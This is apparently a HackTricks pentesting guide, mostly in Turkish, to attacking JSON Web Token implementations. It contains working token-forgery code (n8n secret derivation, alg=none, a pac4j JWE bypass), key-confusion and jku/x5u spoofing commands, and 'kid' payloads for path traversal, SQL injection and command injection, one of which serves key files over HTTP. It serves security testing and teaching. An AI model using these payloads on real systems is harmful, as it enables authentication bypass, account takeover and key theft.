JWT Vulnerabilities (Json Web Tokens)
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Bu gönderinin bir kısmı şu harika gönderiye dayanmaktadır: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT’leri pentest etmek için harika aracın yazarı https://github.com/ticarpi/jwt_tool
Quick Wins
jwt_tool aracını All Tests! modu ile çalıştırın ve yeşil çizgileri bekleyin
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Şanslıysanız, araç web uygulamasının JWT’yi yanlış kontrol ettiği bir durum bulacaktır:
.png)
Sonra, proxy’nizde isteği arayabilir veya bu istek için kullanılan JWT’yi jwt_ tool kullanarak dump edebilirsiniz:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Ayrıca Burp’tan JWT attacks başlatmak için Burp Extension SignSaboteur kullanabilirsiniz.
Pratik JWT assessment workflow
- Session control’ü kapsamlandırın: Kullanıcıya özel bir request seçin (örn. profile, billing). Request reddedilene kadar cookie/header’ları teker teker kaldırın; böylece gerçekten authorization’ı hangi token(lar)ın kontrol ettiğini izole edersiniz.
- Traffic içinde JWT’leri bulun: Bunlar genelde
Authorization: Bearer <JWT>içinde olur, ancak custom header’larda veya cookie’lerde de görünebilir. Burp bunları vurgulamıyorsa, Target → Site map → Engagement tools → Search altında şu regex pattern’leri kullanın: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode edin ve enumerate edin: Header/payload okumak için Burp JWT Editor veya
python3 jwt_tool.py <JWT>kullanın.alg,exp/token lifetime ve authn/authz’yi yöneten claim’leri (role,id,username,email, etc.) not edin. - Signature enforcement sanity check: Signature kısmında birkaç byte’ı değiştirin veya silin ve tekrar gönderin. Kabul edilmesi, signature validation eksik demektir ve payload claim’lerini doğrudan değiştirebilirsiniz.
- Hedef: Privilege escalation için payload claim’lerini değiştirin; aşağıdaki her attack, zayıf verification, zayıf secret’lar veya güvensiz key selection’ı kötüye kullanarak server’ın değiştirilmiş bir payload’u kabul etmesini sağlamayı amaçlar.
Veri üzerinde hiçbir şeyi değiştirmeden tamper yapma
Signature’ı olduğu gibi bırakıp sadece veriyi tamper ederek server’ın signature’ı kontrol edip etmediğini test edebilirsiniz. Örneğin username’inizi “admin” olarak değiştirmeyi deneyin.
Token kontrol ediliyor mu?
Bir JWT signature’ının doğrulanıp doğrulanmadığını anlamak için:
- Bir error message, doğrulamanın sürdüğünü gösterir; verbose error’larda hassas detaylar varsa incelenmelidir.
- Dönen sayfadaki bir değişiklik de verification olduğunu gösterir.
- Değişiklik olmaması verification olmadığını gösterir; payload claim’leri üzerinde tamper denemeleri yapmak için uygun durum budur.
Origin
Token’ın server-side mı yoksa client-side mı üretildiğini proxy’nin request history’sini inceleyerek belirlemek önemlidir.
- Client tarafında ilk görülen token’lar, key’in client-side code içinde açığa çıkmış olabileceğini düşündürür ve daha fazla inceleme gerektirir.
- Server-side kaynaklı token’lar güvenli bir sürece işaret eder.
Süre
Token’ın 24 saatten fazla sürüp sürmediğini kontrol edin… belki de hiç expire olmuyordur. Eğer bir “exp” alanı varsa, server’ın bunu doğru ele alıp almadığını kontrol edin.
Brute-force HMAC secret
Header HS256 kullanıyorsa, token’ı bir dosyaya aktarın ve offline cracking deneyin:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Sır gizemi geri alındığında, onu Burp JWT Editor içinde simetrik bir key olarak yükleyin ve değiştirilmiş claims’leri yeniden imzalayın.
Sızdırılmış config + DB data’dan JWT secrets türetme
Eğer bir arbitrary file read (veya backup leak), hem application encryption material hem de user records ifşa ederse, bazen JWT signing secret’ı yeniden oluşturabilir ve herhangi bir plaintext password bilmeden session cookie’leri forge edebilirsiniz. Workflow automation stack’lerinde gözlemlenen örnek pattern:
- App key’i (örn.
encryptionKey) bir config file’dan leak edin. email,password_hashveuser_idalmak için user table’ı leak edin.- Key’den signing secret’ı türetin, ardından JWT payload içinde beklenen user-bazlı hash’i türetin:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- İmzalanmış token’ı session cookie içine bırakın (ör.
n8n-auth) böylece parola hash’i salted olsa bile user/admin account’unu taklit edebilirsiniz.
Algorithm’i None olarak değiştirin
Kullanılan algorithm’i “None” olarak ayarlayın ve signature kısmını kaldırın.
Bu vulnerability’yi denemek ve JWT içindeki farklı değerleri değiştirmek için Burp extension call “JSON Web Token” kullanın (request’i Repeater’a gönderin ve “JSON Web Token” tabında token’ın değerlerini değiştirebilirsiniz. Ayrıca “Alg” alanının değerini “None” olarak ayarlamayı da seçebilirsiniz).
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
Bazı stack’ler, encrypted bir JWE içine sarılmış signed inner JWT bekler. Vulnerable pac4j-jwt sürümlerinde (4.5.9, 5.7.9 ve 6.3.3 öncesi), authenticator JWE’yi decrypt eder, payload’ı signed JWT olarak parse etmeye çalışır ve bu dönüşüm başarılı olursa signature’ı doğrular. Eğer decrypt edilen payload bir PlainJWT ise (alg=none), toSignedJWT() null döndürür ve signature verification yolu atlanır.
- Pre-reqs:
- Application, JWE bearer tokens kabul eder
- Server public key’si açıktır (genellikle JWKS üzerinden, örneğin
/.well-known/jwks.jsonveya/api/auth/jwks) - Authorization, attacker-controlled claims gibi
sub,role,groupsveyascope’a bağlıdır - Impact: yalnızca public key kullanarak herhangi bir user/role için encrypted token forge edin
Pratik kontroller:
RSA-OAEP-256,A128GCM/A256GCM,jwksveya “inner JWT is signed” diyen yorumlar gibi ipuçları için frontend / API docs’u enumerate edin.- JWKS’yi çekin ve RSA key’i
n/eüzerinden import edin. - Inner token’ı manuel olarak
base64url(header) + "." + base64url(payload) + "."şeklinde oluşturun; böylece signature boş kalır. - Bu plaintext JWT’yi exposed public key kullanarak bir JWE olarak encrypt edin ve bearer token olarak yeniden gönderin.
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
JWKS’teki RSA public key ile kompakt bir JWE olarak şifreleyin:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Notlar:
- Eğer JWT library
alg=noneüretmeyi reddederse, yukarıda gösterildiği gibi compact token’ı manuel olarak oluşturun. encdeğeri hedef tarafından kabul edilenlerden biriyle eşleşmelidir; frontend comments ve legitimate token’lar bunu çoğu zaman açıkça gösterir.- SPAs içinde, bearer token’ın
sessionStorage,localStorageya da JS erişimli bir cookie içinde saklanıp saklanmadığını kontrol edin; sahte token’ı oraya bırakmak çoğu zaman bypass’ı hızlıca doğrulamak için yeterlidir.
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Burp JWT Editor kullanarak RSA public key’i /.well-known/jwks.json içinden ya da bir PEM’den import edin ve HS256 yeniden imzalama denemesini otomatikleştirmek için Attack → HMAC Key Confusion Attack çalıştırın.
Header içine yeni public key ekleme
Bir attacker, token’ın header’ına yeni bir key gömer ve server signature’ı doğrulamak için bu yeni key’i kullanır (CVE-2018-0114).
Bu, “JSON Web Tokens” Burp extension ile yapılabilir.
(Request’i Repeater’a gönderin, JSON Web Token tabında “CVE-2018-0114” seçin ve request’i gönderin).
JWKS Spoofing
Talimatlar, özellikle “jku” header claim’i kullanan JWT token’ların güvenliğini değerlendirmek için bir yöntem ayrıntılandırır. Bu claim, token’ın doğrulanması için gerekli public key’i içeren bir JWKS (JSON Web Key Set) dosyasına işaret etmelidir.
-
“jku” Header’ı ile Token’ları Değerlendirme:
-
“jku” claim’inin URL’sini doğrulayarak uygun JWKS dosyasına yöneldiğinden emin olun.
-
Token’ın “jku” değerini, trafiği gözlemlemeye izin veren kontrollü bir web service’e yönlendirecek şekilde değiştirin.
-
HTTP Interaction İzleme:
-
Belirttiğiniz URL’ye gelen HTTP request’leri gözlemlemek, server’ın sizin verdiğiniz linkten key çekmeye çalıştığını gösterir.
-
Bu süreç için
jwt_toolkullanırken, testi kolaylaştırmak amacıylajwtconf.inidosyasını kişisel JWKS konumunuzla güncellemek kritik önem taşır. -
jwt_tooliçin Komut: -
Senaryoyu
jwt_toolile simüle etmek için aşağıdaki komutu çalıştırın:
python3 jwt_tool.py JWT_HERE -X s
Kid Sorunları Özeti
kid olarak bilinen opsiyonel header claim’i, belirli bir key’i tanımlamak için kullanılır ve token signature doğrulaması için birden fazla key’in bulunduğu ortamlarda özellikle önem kazanır. Bu claim, bir token’ın signature’ını doğrulamak için uygun key’in seçilmesine yardımcı olur.
“kid” üzerinden Key açığa çıkarma
Header’da kid claim’i mevcutsa, web directory içinde ilgili dosyayı veya varyasyonlarını aramanız önerilir. Örneğin "kid":"key/12345" belirtilmişse, web root altında /key/12345 ve /key/12345.pem dosyaları aranmalıdır.
“kid” ile Path Traversal
kid claim’i dosya sisteminde gezinmek için de kötüye kullanılabilir; bu da keyfi bir dosyanın seçilmesine olanak tanıyabilir. JWT’yi, orijinal signature’ı korurken kid değerini değiştirmek için -T flag’i jwt_tool içinde kullanılabilir; aşağıda gösterildiği gibi:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Belirli içeriğe sahip dosyaları hedefleyerek, geçerli bir JWT forge etmek mümkündür. Örneğin, Linux sistemlerindeki /proc/sys/kernel/randomize_va_space dosyası, 2 değerini içerdiği bilindiğinden, JWT oluşturma için simetrik parola olarak 2 ile kid parametresinde kullanılabilir.
Kırılgan dosya-sistemi key yükleme için pratik bir desen, JWK k değeri AA== olarak ayarlanmış bir HS256 key üretmek, kid değerini ../../../../../../../dev/null gibi bir traversal’a ayarlamak ve yeniden imzalamaktır—bazı implementations boş dosyayı geçerli bir HMAC secret olarak değerlendirir ve forge edilmiş token’ları kabul eder.
SQL Injection via “kid”
Eğer kid claim’inin içeriği bir veritabanından password almak için kullanılıyorsa, kid payload’ı değiştirilerek bir SQL injection mümkün olabilir. JWT signing sürecini değiştirmek için SQL injection kullanan örnek bir payload şudur:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Bu değişiklik, JWT signing için bilinen bir secret key olan ATTACKER’ın kullanılmasını zorlar.
OS Injection through “kid”
kid parametresinin bir dosya yolunu belirttiği ve bunun bir command execution bağlamında kullanıldığı bir senaryo, Remote Code Execution (RCE) vulnerabilities’a yol açabilir. kid parametresine komutlar enjekte ederek private key’leri açığa çıkarmak mümkündür. RCE ve key ifşası elde etmek için örnek payload:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku, JWK Set URL anlamına gelir.
Eğer token bir “jku” Header claim’i kullanıyorsa, sağlanan URL’yi kontrol edin. Bu, token’ı doğrulamak için Public Key’i barındıran JWKS dosyasını içeren bir URL’yi işaret etmelidir. Token’ı değiştirerek jku değerini, trafiğini izleyebileceğiniz bir web service’e yönlendirin.
İlk olarak yeni private ve public key’lerle yeni bir certificate oluşturmanız gerekir
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Daha sonra örneğin jwt.io kullanarak oluşturulan public ve private key’ler ile ve jku parametresini oluşturulan certificate’a işaret edecek şekilde yeni JWT oluşturabilirsiniz. Geçerli bir jku certificate oluşturmak için orijinal olanı indirebilir ve gerekli parametreleri değiştirebilirsiniz.
“e” ve “n” parametrelerini bir public certificate üzerinden şu şekilde elde edebilirsiniz:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
Eğer verifier anahtar materyalini uzaktan çekiyorsa, jku/x5u içine JWT Editor → Attack → Embed Collaborator payload kullanarak bir Burp Collaborator URL’si gömün. Gelen herhangi bir callback, SSRF-style key retrieval olduğunu doğrular; ardından o URL’de kendi JWKS/PEM’inizi barındırın ve kendi private key’inizle yeniden imzalayın, böylece service attacker-minted token’ları doğrular.
x5u
X.509 URL. PEM formunda kodlanmış bir X.509 (bir certificate format standardı) public certificates kümesine işaret eden bir URI. Kümedeki ilk certificate, bu JWT’yi imzalamak için kullanılan certificate olmalıdır. Sonraki certificates her biri bir önceki certificate’i imzalar ve böylece certificate chain’i tamamlar. X.509, RFC 52807’de tanımlanmıştır. Certificates’i transfer etmek için transport security gereklidir.
Bu header’ı kontrolünüz altındaki bir URL’ye değiştirmeyi deneyin ve herhangi bir request alınıp alınmadığını kontrol edin. Bu durumda JWT’yi tamper edebilirsiniz.
Kontrolünüzde olan bir certificate kullanarak yeni bir token forge etmek için, certificate’i oluşturmanız ve public ile private keys’i çıkarmanız gerekir:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Sonra örneğin jwt.io kullanarak oluşturulan public ve private keys ile yeni JWT’yi oluşturabilir ve x5u parameter’ını oluşturulan .crt certificate’ına yönlendirebilirsiniz.
.png)
Bu iki vulns’i SSRFs için de istismar edebilirsiniz.
x5c
Bu parameter base64 içinde certificate içerebilir:
.png)
Eğer attacker self-signed certificate oluşturur ve ilgili private key ile forged token üretir, ardından “x5c” parameter’ının değerini yeni oluşturulan certificate ile değiştirir ve diğer parameter’leri, yani n, e ve x5t’yi değiştirirse, temelde forged token server tarafından kabul edilir.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Gömülü Public Key (CVE-2018-0114)
Eğer JWT, aşağıdaki senaryodaki gibi gömülü bir public key içeriyorsa:
.png)
Aşağıdaki nodejs script ile bu veriden bir public key oluşturmak mümkündür:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Yeni bir private/public key oluşturmak, yeni public key’i token içine yerleştirmek ve bunu yeni bir signature oluşturmak için kullanmak mümkündür:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Bu nodejs scriptini kullanarak “n” ve “e” değerlerini elde edebilirsiniz:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Son olarak, public ve private key ile yeni “n” ve “e” değerlerini kullanarak jwt.io ile herhangi bir bilgi içeren yeni geçerli bir JWT forge edebilirsiniz.
ES256: Aynı nonce ile private key’in açığa çıkması
Eğer bazı uygulamalar ES256 kullanıyor ve iki jwt oluşturmak için aynı nonce değerini kullanıyorsa, private key geri kazanılabilir.
İşte bir örnek: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
JTI (JWT ID) claim’i, bir JWT Token için benzersiz bir tanımlayıcı sağlar. Token’ın replay edilmesini önlemek için kullanılabilir.
Ancak, ID’nin maksimum uzunluğunun 4 olduğu bir durum hayal edin (0001-9999). 0001 ve 10001 istekleri aynı ID’yi kullanacaktır. Yani backend her istekte ID’yi incrementig ediyorsa, bunu kötüye kullanarak bir isteği replay etmek mümkün olabilir (her başarılı replay arasında 10000 istek göndermek gerekse de).
JWT Registered claims
Diğer saldırılar
Cross-service Relay Attacks
Bazı web uygulamalarının token’larının oluşturulması ve yönetimi için trusted bir JWT service’e dayandığı gözlemlenmiştir. JWT service tarafından bir client için üretilen bir token’ın, aynı JWT service’in başka bir client’ı tarafından kabul edildiği vakalar kaydedilmiştir. Bir üçüncü taraf servis üzerinden JWT issuance veya renewal gözlemlenirse, aynı username/email kullanılarak o servisin başka bir client’ında account açma ihtimali araştırılmalıdır. Ardından elde edilen token’ın target’a yapılan bir request içinde replay edilip kabul edilip edilmediği kontrol edilmelidir.
- Token’ınızın kabul edilmesi kritik bir issue anlamına gelebilir ve herhangi bir kullanıcının account’ının spoofing edilmesine izin verebilir. Ancak, üçüncü taraf bir uygulamada sign up yapılması daha geniş testing izni gerektirebilir; çünkü bu durum hukuki bir gri alana girebilir.
Expiry Check of Tokens
Token’ın expiry kontrolü “exp” Payload claim’i kullanılarak yapılır. JWT’ler çoğu zaman session bilgisi olmadan kullanıldığından, dikkatli handling gerekir. Birçok durumda, başka bir kullanıcının JWT’sini capture edip replay etmek o kullanıcının impersonation’ına izin verebilir. JWT RFC, token için bir expiry time belirlemek üzere “exp” claim’ini kullanarak JWT replay attacks’i azaltmayı önerir. Ayrıca, uygulamanın bu değeri işlediğini ve expired token’ları reddettiğini doğrulayan gerekli checks’in uygulanması kritik öneme sahiptir. Token “exp” claim’i içeriyorsa ve testing time limits izin veriyorsa, token’ı saklayıp expiry time geçtikten sonra replay etmeniz tavsiye edilir. Timestamp parsing ve expiry checking (UTC timestamp dahil) gibi token içeriği jwt_tool’un -R flag’i ile okunabilir.
- Uygulama yine de token’ı validate ediyorsa bir security risk mevcut olabilir; bu da token’ın asla expire olmayabileceği anlamına gelebilir.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) ve semi-automated attack modes (-M at). - Burp JWT Editor – Repeater içinde decode/re-sign, custom keys oluşturma ve yerleşik saldırıları çalıştırma (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– JWT’leri bir wordlist’e export ettikten sonra GPU-accelerated HS256 secret cracking.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


